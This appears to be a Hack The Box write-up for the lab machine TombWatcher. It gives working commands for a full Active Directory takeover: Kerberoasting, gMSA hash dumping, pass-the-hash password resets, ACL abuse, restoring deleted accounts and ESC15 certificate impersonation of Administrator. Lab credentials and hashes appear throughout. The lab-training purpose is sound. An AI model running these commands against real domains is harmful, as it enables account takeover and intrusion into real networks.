Post

HTB: TombWatcher – Write‑up

A write-up and walkthrough for the Hack the Box machine: TombWatcher

HTB: TombWatcher – Write‑up

Info

  • Target: 10.10.11.72 (tombwatcher.htb)
  • Difficulty: Medium
  • OS: Windows

Intro

For this box, we were provided with some user credentials for an ‘Assumed breach’ scenario. henry / H3nry_987TGV!

Enumeration

Run nmap -sC -sV -oN intial_scan tombwatcher.htb Added tombwatcher.htb to /etc/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-11 23:36 BST
Nmap scan report for tombwatcher.htb (10.10.11.72)
Host is up (0.019s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-12 02:36:26Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-12T02:37:46+00:00; +4h00m01s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-12T02:37:46+00:00; +4h00m01s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-07-12T02:37:46+00:00; +4h00m01s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-12T02:37:46+00:00; +4h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-07-12T02:37:06
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 4h00m00s, deviation: 0s, median: 4h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.17 seconds

Bloodhound

Since we’ve been given credentials, it’a be suitable to run bloodhound to enumerate the AD domain. This can be done with:

1
bloodhound-python -u henry -p H3nry_987TGV! -d tombwatcher.htb -v --zip -c All -dc DC01.tombwatcher.htb -ns 10.10.11.72

Loaded this zip into Bloodhound and performed some simple analysis with what we could do with the Henry user. Using the ‘Outbound Object Control’ feature of Bloodhound the following attack path could be found which we will try to follow. ![/assets/img/posts/tombwatcher/bh-attack-path-map] Bloodhound shows ways of exploiting each of the attack vectors in the GUI

Gaining a Foothold

Step 1 - Write SPN to Alfred

To gain access to Alfred, we can perform a Kerberoasting attack by creating a service principal name (SPN) and then request a ticket and crack it to get the password.

Kerberoasting - Impacket

Kerberoasting is a post-exploitation attack technique that targets the Kerberos authentication protocol. SPN Hijacking means that we can create a ‘service’ on behalf of a user and then use that service to act using alfreds privileges. We can use this to add the Alfred to the INFRASTRUCTURE GROUP as Alfred has permissions to AddSelf We’re going to use addspn.py to perform this attack

Add a Fake SPN to Alfred’s account ./addspn.py -u 'TOMBWATCHER\henry' -p 'H3nry_987TGV!' -t 'alfred' -T samname -dc-ip 10.10.11.72 -s http/fakehost.tombwatcher.htb tombwatcher.htb ![spnmod][/assets/img/posts/tombwatcher/spnmod] This adds http/fakehost.tombwatcher.htb as an SPN to alfred

Verify it worked with impacket-GetUserSPNs tombwatcher.htb/henry:H3nry_987TGV! -dc-ip 10.10.11.72 -request And we get the following results get-user-spns

Looks like we have a kerberos SessionError displaying that the clock skew between Kali and the domain controller is too large. This seems to be a Time Sync issue… to fix this:

  1. Install timedatectl and rdate if they’re not already installed
  2. Run timedatectl set-ntp off to stop NTP from auto-updating
  3. Run rdate -n tombwatcher.htb to match kali’s date and time with the domain controller
  4. Run impacket-GetUserSPNs tombwatcher.htb/henry:H3nry_987TGV! -dc-ip 10.10.11.72 -request again and problem should have resolved.

get-user-spn-2

Let’s save the hash to hash.txt

Cracking Kerberos Hash (krb5tgs)

john hash.txt --fork=4 --format=krb5tgs --wordlist=/usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt cracking-john-pw

We get the password basketball

We now have a second set of credentials alfred:basketball

Step 2 - AddSelf to INFRASTRUCTURE group

Going back to the Bloodhound Attack Path Map… bh-attack-path-map We discovered that Alfred has permissions to AddSelf to the INFRASTRUCTURE group. The benefit of this group is that it has the ReadGMSAPassword object control, this allows us to read the password for a Group Managed Service Account (GMSA).

We can use bloodyad to add alfred to the INFRASTRUCTURE group bloodyAD --host "DC01.tombwatcher.htb" -d "tombwatcher" -u "alfred" -p "basketball" add groupMember "infrastructure" "alfred" add-grp-member

We can double check if we have been successful with the following command: net rpc group members "infrastructure" -U "TOMBWATCHER"/"alfred"%"basketball" -S "DC01.tombwatcher.htb" netrpcgrpmember

Step 3 - ReadGMSAPassword on ansible_dev$

Great. Now that we have added alfred to the infrastructure group we will be able to read the Group Managed Service Account (GMSA) Password for ansible_dev$@tombwatcher.htb

Using gMSADumper.py we can read the GMSA password (hashes) python3 gMSADumper.py -u 'alfred' -p 'basketball' -d 'tombwatcher.htb' gmsadumper

1
2
3
ansible_dev$:::7bc5a56af89da4d3c03bc048055350f2
ansible_dev$:aes256-cts-hmac-sha1-96:29a7e3cc3aaad2b30beca182a9707f1a1e71d2eb49a557d50f9fd91360ec2f64
ansible_dev$:aes128-cts-hmac-sha1-96:de6c86d8b6a71c4538f82dc570f7f9a6

Step 4 - ForceChangePassword of Sam

So what can we do with the hashes provided in the last step ?

  1. Pass-the-Hash with the NT hash
  2. Perform a Kerberos-based attack (using the AES keys)

Since we have the NT hash, it would be reasonable to try a pass-the-hash attack to reset the password.

Pass the Hash

ForceChangePassword

1
2
pth-net rpc password "$TargetUser" -U "$DOMAIN"/"$USER"%"ffffffffffffffffffffffffffffffff":"$NT_HASH" -S "$DC_HOST"

1
2
pth-net rpc password "sam" -U "TOMBWATCHER"/"ansible_dev\$"%"ffffffffffffffffffffffffffffffff":"ecb4146b3f99e6bbf06ca896f504227c
" -S DC01.tombwatcher.htb

pth-sam

I set the password to test123

Step 5 - WriteOwner on John

The WriteOwner

Set owner to Sam

we can use

1
owneredit.py -action write -new-owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD' -dc-ip <domain-ip>
1
impacket-owneredit -action write -new-owner 'sam' -target 'john' 'TOMBWATCHER'/'sam':'test123' -dc-ip DC01.tombwatcher.htb

owneredit

We have successfully set sam as the new owner of john

Grant GenericAll permissions

1
dacledit.py -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'
1
dacledit.py -action 'write' -rights 'FullControl' -principal 'sam' -target 'john' 'TOMBWATCHER'/'sam':'test123' -dc-ip DC01.tombwatcher.htb

dacledit

Force password reset

Since we have a proper user password, this should be easier.

1
net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"

Setting the john user’s password to test123

1
net rpc password "john" "test123" -U "TOMBWATCHER"/"sam"%"test123" -S DC01.tombwatcher.htb

netrpcpasswordsuccess

(I know this worked as I tried this before setting GenericAll privs and got this error 😀) netrpcpasswordfail

User flag

Since we have the john user’s credentials, we can try to log in using evil win-rm

From the nmap scan, 5985 hosts the WinRM service 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

1
evil-winrm -i DC01.tombwatcher.htb -u 'john' -p 'test123'

evilwinrmshell

usertxt

We now have our user flag.

Privilege Escalation

From our earlier enumeration, we saw that John has GenericAll on ADCS. And the fact we have win-rm access, we should be able to escalate our privileges from here.

The ADCS Node is an Organisational Unit as opposed to the User/Groups we’ve dealt with before. The user John has full control over this object, so we can do whatever we wish.

NOTE: Whilst trying to abuse OU’s we need to use the OU ID rather than a name.

ADCS Object ID: BE54CC4B-F7F3-4069-9085-18D905FF7A31

First, let’s try running another bloodhound scan since we have elevated privileges since we first tried with henry.

1
bloodhound-python -u john -p test123 -d tombwatcher.htb -v --zip -c All -dc DC01.tombwatcher.htb -ns 10.10.11.72

Opening the resulting file in bloodhound: johngenericall

We don’t get anything new :-(

As someone else had pointed out to me, the OU has no objects. This is a little weird…

Checking out deleted objects.

Since we have GenericAll rights over the ADCS OU, we should be able to find out if there are any tombstones (hence the name of the box), which are deleted objects that we may be able to bring back.

In the WinRM session, we can run the following command to find :

1
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects

gettombstones

Interesting. There is a deleted ‘cert_admin’ user, perhaps if we can restore this user, we will be able to perform a certificate attack.

Restoring Tombstoned User

Let’s try restore the first user, we can do this by using the ObjectGUID:

1
Restore-ADObject -Identity $deletedUser.ObjectGUID
1
Restore-ADObject -Identity f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

Let’s confirm that we see the AD object:

1
Get-ADObject -Identity f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

gettombstoneduser

Owning the cert_admin Account

Like before, let’s change the password of the cert_admin account using john:

1
net rpc password "cert_admin" "test123" -U "TOMBWATCHER"/"john"%"test123" -S DC01.tombwatcher.htb

Certipy

Since we know we’re dealing with a certificate account, we can use Certipy to enumerate for abuse-able certificates - hopefully allowing us to impersonate a domain administrator

1
certipy-ad find -u 'cert_admin@tombwatcher.htb' -p 'test123' -dc-ip 10.10.11.72 -enabled -stdout

One of the certificates that caught my eye was the WebServer certificate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111

This had some SID set as enrollment rights and write properties which i thought wouldve been the cert_admin account…what we did notice though was that there was more than one cert_admin account earlier.

Let’s check the tombstoned users to see if the user with that SID is there.

1
Get-ADObject -IncludeDeletedObjects -Filter { objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111" } -Properties *

moretombstones

Ok, let’s try raise this one from the dead…

1
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

Reset the machine from the Attacking box:

1
net rpc password "cert_admin" "test123" -U "TOMBWATCHER"/"john"%"test123" -S DC01.tombwatcher.htb

And run the certipy command again:

1
certipy-ad find -u 'cert_admin@tombwatcher.htb' -p 'test123' -dc-ip 10.10.11.72 -stdout -vulnerable

certificate

Oh look, the WebServer certificate is vulnerable to the ESC15 attack.

Exploiting ESC15 (EKUwu)

HackTricks - ESC 15

Direct Impersonation via Schannel

1
2
3
4
5
6
7
certipy-ad req \
	-u 'cert_admin@tombwatcher' -p 'test123' \
    -dc-ip '10.10.11.72' -target DC01.tombwatcher.htb \
    -ca 'tombwatcher-CA-1' -template 'WebServer' \
    -upn 'administrator@tombwatcher' \
    -application-policies 'Client Authentication'

certipyrequest3

1
certipy auth -pfx 'administrator.pfx' -dc-ip '10.10.11.72' -ldap-shell

rootshell

We’re in!

Owning the Administrator Account

Since we have an ldap shell, we are limited to what we can do. Let’s try change the admin password so we can log in via WinRM:

change_password administrator test123

passwordchanged

1
evil-winrm -i DC01.tombwatcher.htb -u 'administrator' -p 'test123'

adminaccess

Getting the flag

1
type ../Desktop/root.txt

roottxt

This post is licensed under CC BY 4.0 by the author.